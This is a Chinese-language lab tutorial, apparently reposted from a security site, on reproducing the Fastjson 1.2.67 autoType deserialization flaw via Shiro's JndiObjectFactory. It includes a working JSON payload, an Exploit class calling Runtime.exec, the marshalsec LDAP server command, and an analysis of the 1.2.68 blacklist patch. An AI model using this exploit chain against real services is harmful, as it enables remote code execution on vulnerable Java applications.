初识Fastjson漏洞(环境搭建及漏洞复现)
2021-07-08 15:46:28 Author: www.secpulse.com(查看原文) 阅读量:78 收藏

目前网上的资源整理不是针对入门玩家,都需要一定的java漏洞调试基础,本文从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发,拥有属于自己的一套漏洞调试环境。

0x01 Fastjson简介

Fastjson 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

 https://github.com/alibaba/fastjson

0x02 环境搭建

JDK 版本:8u112

fastjson: 1.2.67

shiro: 1.5.1

slf4j-nop: 1.7.25

0x1 添加依赖包

为了快速添加项目所需要的jar包,创建Maven项目如下

image.png

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>groupId</groupId>
    <artifactId>Fastjson1.2.66_RCE</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.67</version>
        </dependency>
        <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-core</artifactId>
        <version>1.5.1</version>
        </dependency>
        <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-simple</artifactId>
        <version>1.7.25</version>
        <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.25</version>
        </dependency>
    </dependencies>
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
        <java.version>1.8</java.version>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
    </properties>
</project>

之后右键pom.xml 点击下载source和document

image.png

0x2 选择JDK版本

该漏洞选择JDK 8u112

image.png

0x3 编写漏洞代码

在main文件夹中添加漏洞代码,核心在于调用了fastjson.JSON的parseObject 函数

image.png

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class test {
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:1389/Exploit\"}";
        try {
            JSON.parseObject(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

0x03 漏洞原理

0x1 FastJson 类解析

Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。

FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

fastjson.java

package com.teddy.fastjson;
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class fastjson {
    public String name;
    public String age;
    public fastjson() throws IOException {
    }
    public void setName(String test) {
        System.out.println("name setter called");
        this.name = test;
    }
    public String getName() {
        System.out.println("name getter called");
        return this.name;
    }
    public void setAge(String test) {
        System.out.println("age setter called");
        this.age = test;
    }
    public String getAge(){
        System.out.println("age getter called");
        return this.age;
    }
    public static void main(String[] args) {
        Object obj = JSON.parse("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");
        System.out.println(obj);
        System.out.println("------------");
        Object obj2 = JSON.parseObject("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");
        System.out.println(obj2);
    }
}

result

name setter called
age setter called
com.teddy.fastjson.fastjson@66480dd7
------------
name setter called
age setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}

由结果可以看出调用parseObject 函数会调用getattr方法。

0x2 漏洞调用链分析

调用栈分析

image.png

1. parseObject 对象类型转换

这一步的操作是将obj对应的对象类型转化为json格式,这势必要方位getattr 对象方法,从而触发漏洞。

image.png

2. 反射调用

通过invoke方法,调用getinstance方法

image.png

3. 触发ldap

在JndiObjectFactory getinstance 中调用了this.lookup(resourceName)

image.png

0x3 JNDI 注入

Java Name Directory Interface,Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

image.png

其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。

注入方法:

JNDI Reference 配合 RMI

JNDI Reference 配合 LDAP

RMI格式:ctx.lookup("rmi://localhost:9999/refObj");LDAP格式ctx.lookup("ldap://localhost:9999/refObj");

若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即可实现JNDI注入实现任意代码执行。

1 RMI

RMI(Remote Method Invocation,远程方法调用)。远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。

2 LDAP

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。

0x04 漏洞利用

0x1 编译Java 利用代码

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
    public ExecTest() throws IOException,InterruptedException{
        String cmd="/Applications/Calculator.app/Contents/MacOS/Calculator";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }
    private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {
            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

命令行编译class文件

/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/bin/javac Exploit.java

0x2 开启 LDAP 服务

使用marshalsec启动一个ladp服务器 ,下载地址为

https://github.com/mbechler/marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit

image.png

0x3 开启HTTP Web 服务

将编译好的Exploit.class 放在web目录下并开启服务

image.png

0x05 漏洞补丁

这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包

https://github.com/LeadroyaL/fastjson-blacklist

image.png

该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了

image.png

对应的具体代码如下图所示,在   public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理

image.png

黑名单hash生成算法,大概思路是将每一位都异或进行异或叠加。

if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {

            long hash = h3;

            for (int i = 3; i < className.length(); ++i) {

                hash ^= className.charAt(i);

                hash *= PRIME;

                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {

                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

                    if (clazz != null) {

                        return clazz;

                    }

                }

                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

                    if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {

                        continue;

                    }

                    throw new JSONException("autoType is not support. " + typeName);

                }

            }

        }

相关实验推荐--Java反序列漏洞

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/162204.html


文章来源: https://www.secpulse.com/archives/162204.html
如有侵权请联系:admin#unsafe.sh